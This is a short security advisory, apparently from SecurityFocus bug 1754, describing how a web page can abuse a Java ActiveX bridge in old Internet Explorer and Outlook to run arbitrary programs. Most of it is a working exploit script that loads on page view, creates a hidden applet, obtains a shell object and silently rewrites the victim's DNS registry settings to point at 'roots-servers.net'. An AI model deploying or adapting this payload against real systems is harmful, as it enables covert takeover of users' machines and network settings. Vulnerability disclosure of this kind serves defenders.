source: http://www.securityfocus.com/bid/1754/info

If a malicious website operator were to embed a specially crafted java object into a HTML document, it would be possible to execute arbitrary programs on a target host viewing the webpage through either Microsoft Internet Explorer or Outlook. The com.ms.activeX.ActiveXComponent java object inserted into an <APPLET> tag will allow the creation and scripting of arbitrary ActiveX objects even if they may present security hazards.

Even if Outlook has had the 'security update' applied, it is still possible to circumvent the disabling of active script execution through the use of java.

Execution of arbitrary programs could make it possible for the malicious website operator to gain rights equivalent to those of the current user. 

<script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function yuzi3(){
try{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
try{

Shl.RegWrite("HKLM\\System\\CurrentControlSet\\Services\\VxD\\MSTCP\\SearchList","roots-servers.net");
}
catch(e){}
}
catch(e){}
}
setTimeout("yuzi3()",1000);
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function yuzi2(){
try{
a2=document.applets[0];a2.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a2.createInstance();Shl =
a2.GetObject();a2.setCLSID("{0D43FE01-F093-11CF-89400-0A0C9054228}");
try{

Shl.RegWrite("HKLM\\System\\CurrentControlSet\\Services\\VxD\\MSTCP\\EnableDns","1");
}
catch(e){}
}
catch(e){}
}setTimeout("yuzi2()",1000);
</script>